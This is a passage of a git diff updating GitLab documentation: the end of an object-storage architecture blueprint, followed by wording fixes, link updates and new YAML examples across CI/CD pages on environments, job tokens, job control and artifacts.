+between a cloud and a local installation, standardizing our file
+storage on a single technology.
+
+The removal of local disk operations will reduce the complexity of
+development as well as mitigate several security attack vectors as
+we no longer write user-provided data on the local storage.
+
+It will also reduce human errors as we will always run a local object
+storage in development mode and any local file disk access should
+raise a red flag during the merge request review.
+
+This effort is described in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/6099).
+
+### Enable direct upload by default on every upload
+
+Because every group of features requires its own bucket, we don't have
+direct upload enabled everywhere. Contributing a new upload requires
+coding it in both Ruby on Rails and Go.
+
+Implementing a new feature that does not yet have a dedicated bucket
+requires the developer to also create a merge request in Omnibus
+and CNG, as well as coordinate with SREs to configure the new bucket
+for our own environments.
+
+This also slows down feature adoptions, because our users need to
+reconfigure GitLab and prepare a new bucket in their
+infrastructure. It also makes the initial installation more complex
+feature after feature.
+
+Implementing a direct upload by default, with a
+[consolidated object storage configuration](../../../administration/object_storage.md#consolidated-object-storage-configuration)
+will reduce the number of merge requests needed to ship a new feature
+from four to only one. It will also remove the need for SRE
+intervention as the bucket will always be the same.
+
+This will simplify our development and review processes, as well as
+the GitLab configuration file. And every user will immediately have
+access to new features without infrastructure chores.
+
+### Simplify object storage code
+
+Our implementation is built on top of a 3rd-party framework where
+every object storage client is a 3rd-party library. Unfortunately some
+of them are unmaintained. [We have customers who cannot push 5GB Git
+LFS objects](https://gitlab.com/gitlab-org/gitlab/-/issues/216442),
+but with such a vital feature implemented in 3rd-party libraries we
+are slowed down in fixing it, and we also rely on external maintainers
+to merge and release fixes.
+
+Before the introduction of direct upload, using the
+[CarrierWave](https://github.com/carrierwaveuploader/carrierwave)
+library, _"a gem that provides a simple and extremely flexible way to
+upload files from Ruby applications."_, was the boring solution.
+However this is no longer our use-case, as we upload files from
+Workhorse, and we had to [patch CarrierWave's
+internals](https://gitlab.com/gitlab-org/gitlab/-/issues/285597#note_452696638)
+to support direct upload.
+
+A brief proposal covering CarrierWave removal and a new streamlined
+internal upload API is described
+[in this issue comment](https://gitlab.com/gitlab-org/gitlab/-/issues/213288#note_325358026).
+
+Ideally, we wouldn't need to duplicate object storage clients in Go
+and Ruby. By removing CarrierWave, we can make use of the officially
+supported native clients when the provider S3 compatibility level is
+not sufficient.
+
+## Iterations
+
+In this section we list some possible iterations. This is not
+intended to be the final roadmap, but is a conversation started for the
+Object Storage Working Group.
+
+1. Create a new catchall bucket and a unified internal API for
+ authorization without CarrierWave.
+1. Ship MinIO with Omnibus (CNG images already include it).
+1. Expand GitLab-QA to cover all the supported configurations.
+1. Deprecate local disk access.
+1. Deprecate configurations with multiple buckets.
+1. Implement a bucket-to-bucket migration.
+1. Migrate the current CarrierWave uploads to the new implementation.
+1. On the next major release: Remove support for local disk access and
+ configurations with multiple buckets.
+
+### Benefits of the current iteration plan
+
+The current plan is designed to provide tangible benefits from the
+first step.
+
+With the introduction of the catchall bucket, every upload currently
+not subject to direct upload will get its benefits, and new features
+could be shipped with a single merge request.
+
+Shipping MinIO with Omnibus will allow us to default new installations
+to object storage, and Omnibus could take care of creating
+buckets. This will simplify HA installation outside of Kubernetes.
+
+Then we can migrate each CarrierWave uploader to the new
+implementation, up to a point where GitLab installation will only
+require one bucket.
+
+## Additional reading materials
+
+- [Uploads development documentation: The problem description](../../../development/uploads.md#the-problem-description).
+- [Speed up the monolith, building a smart reverse proxy in Go](https://archive.fosdem.org/2020/schedule/event/speedupmonolith/): a presentation explaining a bit of workhorse history and the challenge we faced in releasing the first cloud-native installation.
+- [Object Storage improvements epic](https://gitlab.com/groups/gitlab-org/-/epics/483).
+- We are moving to GraphQL API, but [we do not support direct upload](https://gitlab.com/gitlab-org/gitlab/-/issues/280819).
+
+## Who
+
+Proposal:
+
+<!-- vale gitlab.Spelling = NO -->
+
+| Role | Who |
+|--------------------------------|-------------------------|
+| Author | Alessio Caiazza |
+| Architecture Evolution Coach | Gerardo Lopez-Fernandez |
+| Engineering Leader | Marin Jankovski |
+| Domain Expert / Object storage | Stan Hu |
+| Domain Expert / Security | Joern Schneeweisz |
+
+DRIs:
+
+The DRI for this blueprint is the [Object Storage Working
+Group](https://about.gitlab.com/company/team/structure/working-groups/object-storage/).
+
+<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index 57cbf387115..491454aed28 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -27,7 +27,7 @@ can't link to files outside it.
### Cache
-- Define cache per job by using the `cache:` keyword. Otherwise it is disabled.
+- Define cache per job by using the `cache` keyword. Otherwise it is disabled.
- Subsequent pipelines can use the cache.
- Subsequent jobs in the same pipeline can use the cache, if the dependencies are identical.
- Different projects cannot share the cache.
diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md
index fbfcdcbf64f..7bc138d083d 100644
--- a/doc/ci/ci_cd_for_external_repos/index.md
+++ b/doc/ci/ci_cd_for_external_repos/index.md
@@ -9,33 +9,34 @@ type: index, howto
>[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4642) in GitLab 10.6.
-GitLab CI/CD can be used with:
+INFO:
+Get external repo access and more by upgrading to GitLab Ultimate.
+[Try a free 30-day trial now](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-ci-cd-external-docs).
-- [GitHub](github_integration.md).
-- [Bitbucket Cloud](bitbucket_integration.md).
-- Any other Git server.
+GitLab CI/CD can be used with [GitHub](github_integration.md), [Bitbucket Cloud](bitbucket_integration.md), or any other
+Git server.
Instead of moving your entire project to GitLab, you can connect your
external repository to get the benefits of GitLab CI/CD.
Connecting an external repository sets up [repository mirroring](../../user/project/repository/mirror/index.md)
-and create a lightweight project with issues, merge requests, wiki, and
+and creates a lightweight project with issues, merge requests, wiki, and
snippets disabled. These features
[can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions).
+## Connect to an external repository
+
To connect to an external repository:
<!-- vale gitlab.Spelling = NO -->
-1. On the top menu, select **Projects > Create new project**.
+1. On the top bar, select **Menu > Projects > Create new project**.
1. Select **Run CI/CD for external repository**.
1. Select **GitHub** or **Repo by URL**.
1. Complete the fields.
<!-- vale gitlab.Spelling = YES -->
-![CI/CD for external repository project creation](img/ci_cd_for_external_repo.png)
-
## Pipelines for external pull requests
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/65139) in GitLab 12.3.
diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md
index f26a678962a..abf43390834 100644
--- a/doc/ci/directed_acyclic_graph/index.md
+++ b/doc/ci/directed_acyclic_graph/index.md
@@ -66,9 +66,9 @@ as quickly as possible.
## Usage
-Relationships are defined between jobs using the [`needs:` keyword](../yaml/index.md#needs).
+Relationships are defined between jobs using the [`needs` keyword](../yaml/index.md#needs).
-Note that `needs:` also works with the [parallel](../yaml/index.md#parallel) keyword,
+Note that `needs` also works with the [parallel](../yaml/index.md#parallel) keyword,
giving you powerful options for parallelization within your pipeline.
## Limitations
@@ -87,7 +87,7 @@ are certain use cases that you may need to work around. For more information, ch
The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view.
-To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.
+To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs` keyword.
![Needs visualization example](img/dag_graph_example_v13_1.png)
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index f6a6e892177..3a05e9aa7d9 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -548,7 +548,7 @@ kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tm
```
NOTE:
-Make sure to use the namespace that the GitLab Runner Kubernetes executor uses
+Make sure to use the namespace that the Kubernetes executor for GitLab Runner uses
to create job pods in.
After the ConfigMap is created, you can update the `config.toml`
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 78f30b29e06..ca7b01edf39 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -119,17 +119,17 @@ The other pipelines don't get the protected variable. You can also
We recommend that you use protected variables on protected environments to make sure that the
secrets aren't exposed unintentionally. You can also define production secrets on the
[runner side](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
-This prevents other maintainers from reading the secrets and makes sure that the runner only runs on
-protected branches.
+This prevents other users with the [Maintainer role](../../user/permissions.md) from reading the secrets and makes sure
+that the runner only runs on protected branches.
For more information, see [pipeline security](../pipelines/index.md#pipeline-security-on-protected-branches).
## Separate project for deployments
-All project maintainers have access to production secrets. If you need to limit the number of users
+All users with the Maintainer role for the project have access to production secrets. If you need to limit the number of users
that can deploy to a production environment, you can create a separate project and configure a new
permission model that isolates the CD permissions from the original project and prevents the
-original project's maintainers from accessing the production secret and CD configuration. You can
+original users with the Maintainer role for the project from accessing the production secret and CD configuration. You can
connect the CD project to your development projects by using [multi-project pipelines](../pipelines/multi_project_pipelines.md).
## Protect `gitlab-ci.yml` from change
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 87d7b9f9e30..561507cab97 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -256,7 +256,7 @@ GitLab supports the [dotenv (`.env`)](https://github.com/bkeepers/dotenv) file f
and expands the `environment:url` value with variables defined in the `.env` file.
To use this feature, specify the
-[`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
+[`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70jDXtOf4Ig).
@@ -294,7 +294,7 @@ As soon as the `review` job finishes, GitLab updates the `review/your-branch-nam
environment's URL.
It parses the `deploy.env` report artifact, registers a list of variables as runtime-created,
uses it for expanding `environment:url: $DYNAMIC_ENVIRONMENT_URL` and sets it to the environment URL.
-You can also specify a static part of the URL at `environment:url:`, such as
+You can also specify a static part of the URL at `environment:url`, such as
`https://$DYNAMIC_ENVIRONMENT_URL`. If the value of `DYNAMIC_ENVIRONMENT_URL` is
`example.com`, the final result is `https://example.com`.
@@ -303,7 +303,7 @@ The assigned URL for the `review/your-branch-name` environment is visible in the
Note the following:
- `stop_review` doesn't generate a dotenv report artifact, so it doesn't recognize the
- `DYNAMIC_ENVIRONMENT_URL` environment variable. Therefore you shouldn't set `environment:url:` in the
+ `DYNAMIC_ENVIRONMENT_URL` environment variable. Therefore you shouldn't set `environment:url` in the
`stop_review` job.
- If the environment URL isn't valid (for example, the URL is malformed), the system doesn't update
the environment URL.
@@ -447,6 +447,63 @@ try to check out the code after the branch is deleted.
Read more in the [`.gitlab-ci.yml` reference](../yaml/index.md#environmenton_stop).
+#### Stop an environment when another job is finished
+
+You can set an environment to stop when another job is finished.
+
+In your `.gitlab-ci.yml` file, specify in the [`on_stop`](../yaml/index.md#environmenton_stop)
+keyword the name of the job that stops the environment.
+
+The following example shows a `review_app` job that calls a `stop_review_app` job after the first
+job is finished. The `stop_review_app` is triggered based on what is defined under `when`. In this
+case, it is set to `manual`, so it needs a
+[manual action](../jobs/job_control.md#create-a-job-that-must-be-run-manually)
+from the GitLab UI to run.
+
+Both jobs must have the same rules or only/except configuration.
+In this example, if the configuration is not identical:
+
+- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job.
+- It is not possible to trigger the `action: stop` to stop the environment automatically.
+
+Also in the example, `GIT_STRATEGY` is set to `none`. If the
+`stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment),
+the runner won't try to check out the code after the branch is deleted.
+
+The example also overwrites global variables. If your `stop` `environment` job depends
+on global variables, use [anchor variables](../yaml/yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
+to change the job without overriding the global variables.
+
+The `stop_review_app` job **must** have the following keywords defined:
+
+- `when`, defined at either:
+ - [The job level](../yaml/index.md#when).
+ - [In a rules clause](../yaml/index.md#rules). If you use `rules` and `when: manual`, you should
+ also set [`allow_failure: true`](../yaml/index.md#allow_failure) so the pipeline can complete
+ even if the job doesn't run.
+- `environment:name`
+- `environment:action`
+
+```yaml
+review_app:
+ stage: deploy
+ script: make deploy-app
+ environment:
+ name: review/$CI_COMMIT_REF_SLUG
+ url: https://$CI_ENVIRONMENT_SLUG.example.com
+ on_stop: stop_review_app
+
+stop_review_app:
+ stage: deploy
+ variables:
+ GIT_STRATEGY: none
+ script: make delete-app
+ when: manual
+ environment:
+ name: review/$CI_COMMIT_REF_SLUG
+ action: stop
+```
+
#### Stop an environment after a certain time period
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8.
@@ -716,10 +773,11 @@ fetch = +refs/environments/*:refs/remotes/origin/environments/*
### Archive Old Deployments
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73628) in GitLab 14.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73628) in GitLab 14.5.
+> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.6.
FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `deployments_archive`. On GitLab.com, this feature will be rolled out gradually.
+On self-managed GitLab, by default this feature is available. To hide the feature per project or for your entire instance, ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `deployments_archive`. On GitLab.com, this feature is available.
When a new deployment happens in your project,
GitLab creates [a special Git-ref to the deployment](#check-out-deployments-locally).
@@ -878,11 +936,6 @@ To ensure the `action: stop` can always run when needed, you can:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21182) in GitLab 14.4.
-FLAG:
-On self-managed GitLab, by default this bug fix is available. To hide the bug fix per project,
-ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `surface_environment_creation_failure`.
-On GitLab.com, this bug fix is available.
-
If your project is configured to [create a dynamic environment](#create-a-dynamic-environment),
you might encounter this error because the dynamically generated parameter can't be used for creating an environment.
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index 55b63dd090d..57fd72863c1 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -79,7 +79,7 @@ Alternatively, you can use the API to protect an environment:
$ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
--data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members"
- {"id":3222377,"name":"Sean Carroll","username":"sfcarroll","state":"active","avatar_url":"https://assets.gitlab-static.net/uploads/-/system/user/avatar/3222377/avatar.png","web_url":"https://gitlab.com/sfcarroll","access_level":20,"created_at":"2020-10-26T17:37:50.309Z","expires_at":null}
+ {"id":3222377,"name":"Sean Carroll","username":"sfcarroll","state":"active","avatar_url":"https://gitlab.com/uploads/-/system/user/avatar/3222377/avatar.png","web_url":"https://gitlab.com/sfcarroll","access_level":20,"created_at":"2020-10-26T17:37:50.309Z","expires_at":null}
```
1. Use the API to add the group to the project as a reporter:
@@ -194,16 +194,15 @@ and are protected at the same time.
In an enterprise organization, with thousands of projects under a single group,
ensuring that all of the [project-level protected environments](#protecting-environments)
are properly configured is not a scalable solution. For example, a developer
-might gain privileged access to a higher environment when they are added as a
-maintainer to a new project. Group-level protected environments can be a solution
-in this situation.
+might gain privileged access to a higher environment when they are given the [Maintainer role](../../user/permissions.md)
+for a new project. Group-level protected environments can be a solution in this situation.
To maximize the effectiveness of group-level protected environments,
[group-level memberships](../../user/group/index.md) must be correctly
configured:
-- Operators should be assigned the [maintainer role](../../user/permissions.md)
- (or above) to the top-level group. They can maintain CI/CD configurations for
+- Operators should be given at least the [Maintainer role](../../user/permissions.md)
+ for the top-level group. They can maintain CI/CD configurations for
the higher environments (such as production) in the group-level settings page,
which includes group-level protected environments,
[group-level runners](../runners/runners_scope.md#group-runners), and
@@ -211,9 +210,9 @@ configured:
configurations are inherited to the child projects as read-only entries.
This ensures that only operators can configure the organization-wide
deployment ruleset.
-- Developers should be assigned the [developer role](../../user/permissions.md)
- (or below) at the top-level group, or explicitly assigned to a child project
- as maintainers. They do *NOT* have access to the CI/CD configurations in the
+- Developers should be given no more than the [Developer role](../../user/permissions.md)
+ for the top-level group, or explicitly given the [Maintainer role](../../user/permissions.md) for a child project
+ They do *NOT* have access to the CI/CD configurations in the
top-level group, so operators can ensure that the critical configuration won't
be accidentally changed by the developers.
- For sub-groups and child projects:
@@ -225,7 +224,7 @@ configured:
environment configurations exist, to run a deployment job, the user must be allowed in **both**
rulesets.
- In a project or a subgroup of the top-level group, developers can be
- safely assigned the Maintainer role to tune their lower environments (such
+ safely assigned the [Maintainer role](../../user/permissions.md) to tune their lower environments (such
as `testing`).
Having this configuration in place:
diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
index 238c76b2c3c..1141583df3f 100644
--- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
+++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
@@ -22,8 +22,7 @@ This tutorial assumes you are familiar with GitLab CI/CD and Vault.
To follow along, you must have:
- An account on GitLab.
-- A running Vault server and access to it is required to configure authentication and create roles
- and policies. For HashiCorp Vaults, this can be the Open Source or Enterprise version.
+- Access to a running Vault server (at least v1.2.0) to configure authentication and to create roles and policies. For HashiCorp Vaults, this can be the Open Source or Enterprise version.
NOTE:
You must replace the `vault.example.com` URL below with the URL of your Vault server, and `gitlab.example.com` with the URL of your GitLab instance.
diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md
index eb758218f17..c74af852a9a 100644
--- a/doc/ci/examples/semantic-release.md
+++ b/doc/ci/examples/semantic-release.md
@@ -56,7 +56,7 @@ default:
{
echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/"
echo "${CI_API_V4_URL#https?}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}"
- } | tee --append .npmrc
+ } | tee -a .npmrc
cache:
key: ${CI_COMMIT_REF_SLUG}
paths:
diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md
index dc5faf0188e..2a002b8fb9f 100644
--- a/doc/ci/git_submodules.md
+++ b/doc/ci/git_submodules.md
@@ -59,7 +59,7 @@ To make submodules work correctly in CI/CD jobs:
variables:
GIT_SUBMODULE_STRATEGY: recursive
```
-
+
If you use the [`CI_JOB_TOKEN`](jobs/ci_job_token.md) to clone a submodule in a
pipeline job, the user executing the job must be assigned to a role that has
[permission](../user/permissions.md#gitlab-cicd-permissions) to trigger a pipeline
diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md
index b6a3011a3d6..532a0dffbce 100644
--- a/doc/ci/jobs/ci_job_token.md
+++ b/doc/ci/jobs/ci_job_token.md
@@ -4,7 +4,7 @@ group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab CI/CD job token
+# GitLab CI/CD job token **(FREE)**
When a pipeline job is about to run, GitLab generates a unique token and injects it as the
[`CI_JOB_TOKEN` predefined variable](../variables/predefined_variables.md).
@@ -61,11 +61,7 @@ tries to steal tokens from other jobs.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1. [Deployed behind the `:ci_scoped_job_token` feature flag](../../user/feature_flags.md), disabled by default.
> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.4.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature,
-ask an administrator to [disable the `ci_scoped_job_token` flag](../../administration/feature_flags.md).
-On GitLab.com, this feature is available.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.6.
You can limit the access scope of a project's CI/CD job token to increase the
job token's security. A job token might give extra permissions that aren't necessary
@@ -95,7 +91,7 @@ The job token scope is only for controlling access to private projects.
1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **Token Access**.
1. Toggle **Limit CI_JOB_TOKEN access** to enabled.
-1. (Optional) Add existing projects to the token's access scope. The user adding a
+1. Optional. Add existing projects to the token's access scope. The user adding a
project must have the [maintainer role](../../user/permissions.md) in both projects.
There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) to improve
@@ -121,7 +117,7 @@ trigger_pipeline:
```
If you use the `CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
-in a pipeline triggered this way, [the value is `pipeline` (not `triggered`)](../triggers/index.md#authentication-tokens).
+in a pipeline triggered this way, [the value is `pipeline` (not `triggered`)](../triggers/index.md#configure-cicd-jobs-to-run-in-triggered-pipelines).
## Download an artifact from a different pipeline **(PREMIUM)**
diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md
index 0f92ae5ca49..596df34b5c2 100644
--- a/doc/ci/jobs/job_control.md
+++ b/doc/ci/jobs/job_control.md
@@ -79,7 +79,7 @@ job:
- In **all other cases**, the job is added to the pipeline, with `when: on_success`.
WARNING:
-If you use a `when:` clause as the final rule (not including `when: never`), two
+If you use a `when` clause as the final rule (not including `when: never`), two
simultaneous pipelines may start. Both push pipelines and merge request pipelines can
be triggered by the same event (a push to the source branch for an open merge request).
See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines)
@@ -153,7 +153,7 @@ To avoid duplicate pipelines, you can:
- Use [`workflow`](../yaml/index.md#workflow) to specify which types of pipelines
can run.
- Rewrite the rules to run the job only in very specific cases,
- and avoid a final `when:` rule:
+ and avoid a final `when` rule:
```yaml
job:
@@ -225,7 +225,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable:
| `pipeline` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](../yaml/index.md#trigger) keyword. |
| `push` | For pipelines triggered by a `git push` event, including for branches and tags. |
| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). |
-| `trigger` | For pipelines created by using a [trigger token](../triggers/index.md#authentication-tokens). |
+| `trigger` | For pipelines created by using a [trigger token](../triggers/index.md#configure-cicd-jobs-to-run-in-triggered-pipelines). |
| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). |
@@ -335,7 +335,7 @@ to control when to add jobs to pipelines.
In the following example, `job` runs only for:
- Git tags
-- [Triggers](../triggers/index.md#authentication-tokens)
+- [Triggers](../triggers/index.md#configure-cicd-jobs-to-run-in-triggered-pipelines)
- [Scheduled pipelines](../pipelines/schedules.md)
```yaml
@@ -480,8 +480,8 @@ All files are considered to have changed when a scheduled pipeline runs.
If you use multiple keywords with `only` or `except`, the keywords are evaluated
as a single conjoined expression. That is:
-- `only:` includes the job if **all** of the keys have at least one condition that matches.
-- `except:` excludes the job if **any** of the keys have at least one condition that matches.
+- `only` includes the job if **all** of the keys have at least one condition that matches.
+- `except` excludes the job if **any** of the keys have at least one condition that matches.
With `only`, individual keys are logically joined by an `AND`. A job is added to
the pipeline if the following is true:
@@ -634,7 +634,7 @@ timed rollout 10%:
start_in: 30 minutes
```
-To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button.
+To stop the active timer of a delayed job, select **Unschedule** (**{time-out}**).
This job can no longer be scheduled to run automatically. You can, however, execute the job manually.
To start a delayed job immediately, select **Play** (**{play}**).
diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md
index 76e34df1f8c..f3044a03e04 100644
--- a/doc/ci/large_repositories/index.md
+++ b/doc/ci/large_repositories/index.md
@@ -259,5 +259,5 @@ For very active repositories with a large number of references and files, you ca
must be configured per-repository. The pack-objects cache also automatically works for forks. On GitLab.com, where the pack-objects cache is
enabled on all Gitaly servers, we found that we no longer need a pre-clone step for `gitlab-org/gitlab` development.
- Optimize your CI/CD jobs by seeding repository data in a pre-clone step with the
- [`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) of GitLab Runner. See the
- [Runner Cloud for Linux](../runners/runner_cloud/linux_runner_cloud.md#pre-clone-script) for more details.
+ [`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) of GitLab Runner. See
+ [SaaS runners on Linux](../runners/saas/linux_saas_runner.md#pre-clone-script) for details.
diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md
index 5343af16489..eb302b9ed7f 100644
--- a/doc/ci/metrics_reports.md
+++ b/doc/ci/metrics_reports.md
@@ -37,7 +37,7 @@ For an MR, the values of these metrics from the feature branch are compared to t
## How to set it up
-Add a job that creates a [metrics report](yaml/index.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
+Add a job that creates a [metrics report](yaml/artifacts_reports.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
For example:
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index c2c06375d7b..ef6f28e36e5 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -78,7 +78,7 @@ There are some high level differences between the products worth mentioning:
- on [schedule](../pipelines/schedules.md)
- from the [GitLab UI](../pipelines/index.md#run-a-pipeline-manually)
- by [API call](../triggers/index.md)
- - by [webhook](../triggers/index.md#triggering-a-pipeline-from-a-webhook)
+ - by [webhook](../triggers/index.md#use-a-webhook)
- by [ChatOps](../chatops/index.md)
- You can control which jobs run in which cases, depending on how they are triggered,
@@ -146,15 +146,15 @@ as well.
Jenkins Pipelines are based on [Groovy](https://groovy-lang.org/), so the pipeline specification is written as code.
GitLab works a bit differently, we use the more highly structured [YAML](https://yaml.org/) format, which
-places scripting elements inside of `script:` blocks separate from the pipeline specification itself.
+places scripting elements inside of `script` blocks separate from the pipeline specification itself.
This is a strength of GitLab, in that it helps keep the learning curve much simpler to get up and running
and avoids some of the problem of unconstrained complexity which can make your Jenkinsfile hard to understand
and manage.
That said, we do of course still value DRY (don't repeat yourself) principles and want to ensure that
-behaviors of your jobs can be codified once and applied as needed. You can use the `extends:` syntax to
-[reuse configuration in your jobs](../yaml/index.md#extends), and `include:` can
+behaviors of your jobs can be codified once and applied as needed. You can use the `extends` syntax to
+[reuse configuration in your jobs](../yaml/index.md#extends), and `include` can
be used to [reuse pipeline configurations](../yaml/index.md#include) in pipelines
in different projects:
@@ -174,7 +174,7 @@ rspec:
## Artifact publishing
Artifacts may work a bit differently than you've used them with Jenkins. In GitLab, any job can define
-a set of artifacts to be saved by using the `artifacts:` keyword. This can be configured to point to a file
+a set of artifacts to be saved by using the `artifacts` keyword. This can be configured to point to a file
or set of files that can then be persisted from job to job. Read more on our detailed
[artifacts documentation](../pipelines/job_artifacts.md):
@@ -271,7 +271,7 @@ default:
GitLab CI/CD also lets you define stages, but is a little bit more free-form to configure. The GitLab [`stages` keyword](../yaml/index.md#stages)
is a top level setting that enumerates the list of stages, but you are not required to nest individual jobs underneath
the `stages` section. Any job defined in the `.gitlab-ci.yml` can be made a part of any stage through use of the
-[`stage:` keyword](../yaml/index.md#stage).
+[`stage` keyword](../yaml/index.md#stage).
Note that, unless otherwise specified, every pipeline is instantiated with a `build`, `test`, and `deploy` stage
which are run in that order. Jobs that have no `stage` defined are placed by default in the `test` stage.
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index 7ecee5508ef..e47b6dddc5f 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -48,7 +48,171 @@ is used.
If you run two types of pipelines (like branch and scheduled) for the same ref,
the pipeline that finishes later creates the job artifact.
-For more examples, view the [keyword reference for the `.gitlab-ci.yml` file](../yaml/index.md#artifacts).
+To disable artifact passing, define the job with empty [dependencies](../yaml/index.md#dependencies):
+
+```yaml
+job:
+ stage: build
+ script: make build
+ dependencies: []
+```
+
+You may want to create artifacts only for tagged releases to avoid filling the
+build server storage with temporary build artifacts. For example, use [`rules`](../yaml/index.md#rules)
+to create artifacts only for tags:
+
+```yaml
+default-job:
+ script:
+ - mvn test -U
+ rules:
+ - if: $CI_COMMIT_BRANCH
+
+release-job:
+ script:
+ - mvn package -U
+ artifacts:
+ paths:
+ - target/*.war
+ rules:
+ - if: $CI_COMMIT_TAG
+```
+
+You can use wildcards for directories too. For example, if you want to get all the
+files inside the directories that end with `xyz`:
+
+```yaml
+job:
+ artifacts:
+ paths:
+ - path/*xyz/*
+```
+
+### Use CI/CD variables to define the artifacts name
+
+You can use [CI/CD variables](../variables/index.md) to dynamically define the
+artifacts file's name.
+
+For example, to create an archive with a name of the current job:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_NAME"
+ paths:
+ - binaries/
+```
+
+To create an archive with a name of the current branch or tag including only
+the binaries directory:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+If your branch-name contains forward slashes
